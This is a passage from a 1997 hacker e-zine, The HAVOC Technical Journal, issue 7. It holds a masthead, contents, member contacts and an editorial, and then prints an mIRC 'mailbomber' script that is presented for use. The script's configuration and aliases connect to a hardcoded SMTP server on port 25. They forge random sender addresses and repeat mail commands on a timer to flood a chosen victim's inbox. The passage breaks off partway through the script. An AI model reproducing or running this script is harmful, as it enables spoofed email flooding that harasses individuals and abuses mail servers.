ÕÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͸ ³The HAVOC Technical Journal ³± ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ± ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± Vol. 1 | No.7 | January 31st, 1997 | A HAVOC Bell Systems Publication HBS: "the lamest of the lame" A NEW HBS for the NEW Year! _____________________________________________________________________________ Inside this issue: Whats new this issue.............................. Editorial.........................................Scud-O mIRC mailbomber...................................REality mailbomber........................................Scud-O Blue Boxing in France Pt.1........................memor NIDS pt. 1.5 by btm...............................btm TDD Relay.........................................UnaBomber Taking Advantage of 1-800 Services................DiSCoRe Fakemail fer Simpletons...........................GiG Cellular Phones...................................zeth Joes pt. 1 .......................................Scud-O The takeover and regain of #florida_fun........... RTFM: The lamer Journal........................... HBS............................................... Next Month........................................ ---------------------------------------------------- The HAVOC Technical Journal is brought to you in part with a grant from defraz.org - Your solutions provider for the world wide web and the internet! ---------------------------------------------------- Send all mail to: thtj@juno.com If you want to write an article for THTJ email: FoxMuldet@worldnet.att.net This months music supplied by: Prodigy , Space (hehehehehe), Saturday Night Fever Soundtrack, Hackers Soundtrack (bwhaahahahahaha) Pink Floyd and WHFS 99.1 ! (Prodigy is okay, but the video SUCKS! i mean come on, the guy is from the UK, but he wares a sweater with the US flag on it!) (can you say sell out boys and girls? ) Good Techno music from: sm:)e communications More good techno from Future Sound Of London and scott hardkiss (of san francisco rave fame) What's new in this issue: HBS has more than doubled in size! REality and UnaBomber were the first to join up with us, then after New Years, memor and Agrajag signed up, with Digital_X and theLURK3R both emailing me saying they wanted to join up. Then Redtyde and darkcyde both joined after I told them they were in if they wanted to be or not. We have some GREAT articles for you, memor tell us about Blue Boxing in France, while UnaBomber tells us about TDD Relay. REality has given us an mIRC mailbomber that works great, which will hopefully be added to HBS's up coming mIRC script. ----------------------------------------------------------- How to contact us: Check Out Our Web Site: http://www.geocities.com/SiliconValley/8805/ Scud-O's e-mail : FoxMulder@worldnet.att.net Psycho's e-mail : psycho@smart.net |\|\cFill's email : down -- server crashed Keystroke's email : keystroke@thepentagon.com REality's email : - CLASSIFIED - UnaBomber's email : madunabomber@geocities.com memor's email : memor@pancreas.com Agrajag's email : - CLASSIFIED - Digital_X's email : - CLASSIFIED - theLURK3R's email : rseal@earthlink.net Redtyde's email : - CLASSIFIED - darkcyde's email : - CLASSIFIED - Sancho Panza's email : - he's too lame to have one - our Mag e-mail is : thtj@juno.com HELLCORE's e-mail : hellcore@juno.com --------------------------------------------------------------- | To send mail to the CLASSIFIED people, email Scud-O and he | | will forward if for ya. | --------------------------------------------------------------- | HBS guys, let me know if you want me to add yer email | --------------------------------------------------------------- HBS members now (should) have web pages up on our site. go to: http://www.geocities.com/SiliconValley/8805/members.html Also find out the curent member listings in this rapidly expanding group on our members page. The HAVOC Technical Journal Site of the MONTH: +-----------------------------------------------------------+ | #phreak's WebSite at: | | http://www.w-link.net/~burdge/index.html | +-----------------------------------------------------------+ ============================================================================= Editorial by Scud-O HBS has near tripled in size, and this I am VERY happy about. See the whats new for this issue section above for details on that. I am also glad that in all of darc's wisdom he added me to the bots. Thanks man, I am REALLY greatful! HBS has grown so much that hopefully we can go back to our monthly publication deadlines. It has been hard, 4 and 5 i could manage, but 6 was too tight, even when made on a 6 week deadline. I ended up releasing it the day after Christmas, and 11 days overdue. I dont know how we have been on deadline for so long. phire has gone to doing one issue of hacknowledge every 3-4 months. That is the same for phrack and most other publications. HBS is working hard or get an issue out at least every 6 weeks. HBS is lucky and has suck great communication, mainly since we are all on #phreak. This issue has been our largest yet, and so far everything has gone on fairly well. I am luck that UnaBomber, REality and memor gave me their articles very early. Since pretty much everyone in HBS wants to write for The HAVOC Technical Journal, look for bigger and bigger issues and more features. Already I am having to split up the articles between issues 7 and 8. ---===========================================--- A Public Service Announcement from HBS and Scud-O I would like to tell everyone how hard it is to edit a mag like this. phire knows, ( and he has even tried to get my to work for him and give up THTJ) that it is very hard to get articles from everyone, reply to emails, write articles, hang out on irc, work on the web page, etc. So if you are thinking of making a mag DONT! IT IS NOT WORTH IT!! END A Public Service Announcement from HBS and Scud-O ---===========================================--- Anyways, this mag has always reflected my point of view, and my personality. That is what happens when you edit a mag. I have enjoyed this, but i know i must let go and let this mag take its own shape and mold to the other HBS members as well, so watch for a more slanterous mag from all of us at HBS to all of you, the Hack/Phreak community! I'd like to thank everyone for their readership and kind comments. I have worked to make this mag and our web page cool, and that would not be possible with out your comments. So please if you have anything to say, good, bad, ugly, whatever, please send them into the address below. Thanks. ---------------------------------------------- / ---/ --/ / / | /------/ / / /--- /-----/------/-----/ / / / /----------/ /--------/ -of HAVOC Bell Systems- "The eLiTe lammah!" FoxMulder@worldnet.att.net | http://www.geocities.com/SiliconValley/8805 "You're Spiro Agnew and i'm the Dick you answer to" - 'Boom' , Bloodhound Gang with Rob Van Winkle ============================================================================= mIRC mailbomber by REality REality gave this to me, and its pretty fuckin cool. I hope to add this into mIRC32 HAVOC Bell Systems version 1.0 which i hope comes out soon. ---- this is MIRC.INI -------- [About] show=penguin [Windows] main=53,533,60,360,2 wdccg=44,437,44,198,0 wchannel=91,461,63,159,0 wquery=88,437,88,198,0 wchat=22,530,22,230,0 [DDE] ServerStatus=on ServiceName=mIRC [FileServer] Warning=On [Clicks] status=/lusers query=/whois $1 channel=/channel nicklist=/query $1 [Dragdrop] n0=*.wav:/sound $1 $2 n1=*.*:/dcc send $1 $2 s2=*.*:/dcc send $1 $2 [Perform] n0=/timer1 0 1 /clearall [Ident] active=yes userid=gghgh system=UNIX port=113 [Socks] Enabled=no Port=1080 [Local] local=limbo localip=207.116.137.92 longip=3480521052 [Options] options=1,1,1,0,1,0,200,1,0,0,1,1,0,0,2,0,0,1,1,0,512,0,1,1,0,1 options2=5,50,0,0,0,0,0,0,1,1,1,1,0,0,1,1,1,1,1,0,1,1 options3=0,1,1,1,1,0,0,1,0,60,120,0,0,1,1,0,0,1,0,120,1,1 options4=500,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,0,1,0,1,0,0,1,0,1,1,0,11,0 options5=800,1,1,1,0,3,999,0,0,0,1,0,1,0,0,1,10,0,0,0 options6=1,1,1,1,1,1,1,1,1,1,0,0,0,0,1 [Text] highlight=mail,b0mb,bomb aptitle=inTERNal DOwnfaLL • eMAiL B0mb3r • commandchar=/ linesep=- quit=inTERNal DOwnfaLL - By REality [Files] servers=d:\mirc\servers.ini aliases=d:\mirc\aliases.ini popups=d:\mirc\popups.ini users=d:\mirc\remote.ini variables=d:\mirc\remote.ini commands=d:\mirc\remote.ini events=d:\mirc\remote.ini raw=d:\mirc\remote.ini browser=d:\worldnet20\program\netscape.exe finger=d:\mirc\finger.txt urls=d:\mirc\urls.ini [mIRC] user=Me email=lammah@hell.net nick=REality-- anick=dghfh host=ChicagoSERVER:chicago.il.us.undernet.org:6667 [Dirs] getdir=d:\mirc\ senddir=d:\mirc\ logdir=d:\mirc\ waves=d:\mirc\ ----- END MIRC.INI ------------- ----- Popups.INI -------- [mPopup] n0=in&TERNal DOwnfaLL { n1= ame is using inTERNal DOwnfaLL v1.0b n2=} n3=- n4=Start MailB0mb { n5= mload 204.149.226.10 n6=echo 4 $active Please wait.. Loading Address prompt... n7=echo 4 please disreguard any errors you may see in DCC chat window.. n8=echo 4 They are just normal.. Due to how fast we are sending the info to the server.. n9=timer 1 6 ultimate n10=} [qPopup] n0=in&TERNal DOwnfaLL { n1= ame is using inTERNal DOwnfaLL v1.0b n2=} n3=- n4=Start MailB0mb { n5= mload 204.149.226.10 n6= timer 1 6 ultimate n7=} [lPopup] n0=in&TERNal DOwnfaLL { n1= ame is using inTERNal DOwnfaLL v1.0b n2=} n3=- n4=Start MailB0mb { n5= mload 204.149.226.10 n6= timer 1 6 ultimate n7=} [bPopup] n0=in&TERNal DOwnfaLL n1=Start MailB0mb { n2= mload 204.149.226.10 n3= timer 1 6 ultimate n4=} n5=- n6=Extras n7=.Pick Server { n8= cload n9=} n10=Clear Windows { n11= clearall n12=} n13=Shutdown { n14= quit inTERNal DOwnfaLL n15=} ----- END popups.ini ---- ----- aliases.ini ------ [Aliases] n0=/cload { n1= privmsg $me $chr(1) $+ DCC CHAT chat $longip($$?="Server") $$?="Port?" $+ $chr(1) n2=} n3=/mload { n4= privmsg $me $chr(1) $+ DCC CHAT chat $longip($$1) 25 $+ $chr(1) n5=} n6=mailbomb { n7= set %bombname $$?="User to bomb" n8= set %bombfrom $$?="From?" n9= set %bombdata $$?="Crap to send?" n10= echo 4 /stop to stop it n11= timer42 0 2 /bomb n12=} n13=bomb { n14= msg = $+ $chat(1) mail from: %bombfrom n15= msg = $+ $chat(1) rcpt to: %bombname n16= msg = $+ $chat(1) data n17= msg = $+ $chat(1) %bombdata n18= msg = $+ $chat(1) . n19=} n20=/stop { n21= timer42 off n22= timer43 off n23= timer44 off n24= timer1 off n25= timer2 off n26=} n27=mbomb { n28= set %bombname $$?="Address (Person To B0mb)" n29= set %bombfrom $$?="Address (Address in which B0mbee Should Think Email Came From)" n30= set %bombdata $$?="Data (Message Text)" n31= echo 4 $active /stop to stop the mailbomb... n32= timer42 0 2 /bomb n33=} n34=ultimate { n35= set %bombname $$?="Address (Person To Bomb)" n36= set %bombfrom $rand(a,z) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(A,Z) $+ @ $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ .com n37= set %bd1 $rand(A,Z) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(A,Z) n38= set %bd2 $rand(A,Z) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(A,Z) n39= set %bd3 $rand(A,Z) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(A,Z) n40= set %bd4 $rand(A,Z) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(A,Z) n41= set %bd5 $rand(A,Z) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(A,Z) n42= set %bd6 $rand(A,Z) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(A,Z) n43= set %bd7 $rand(A,Z) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(A,Z) n44= set %bd8 $rand(A,Z) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(A,Z) n45= set %bd9 $rand(A,Z) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(A,Z) n46= set %bd10 $rand(A,Z) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(A,Z) n47= set %bd11 $rand(A,Z) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(A,Z) n48= set %bd12 $rand(A,Z) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(A,Z) n49= set %bd13 $rand(A,Z) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(A,Z) n50= set %bd14 $rand(A,Z) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(A,Z) n51= set %bd15 $rand(A,Z) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(A,Z) n52= set %bd16 $rand(A,Z) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(A,Z) n53= set %bd17 $rand(A,Z) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(A,Z) n54= set %bd18 $rand(A,Z) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(A,Z) n55= set %bd19 $rand(A,Z) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(A,Z) n56= set %bd20 $rand(A,Z) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(0,9) $+ 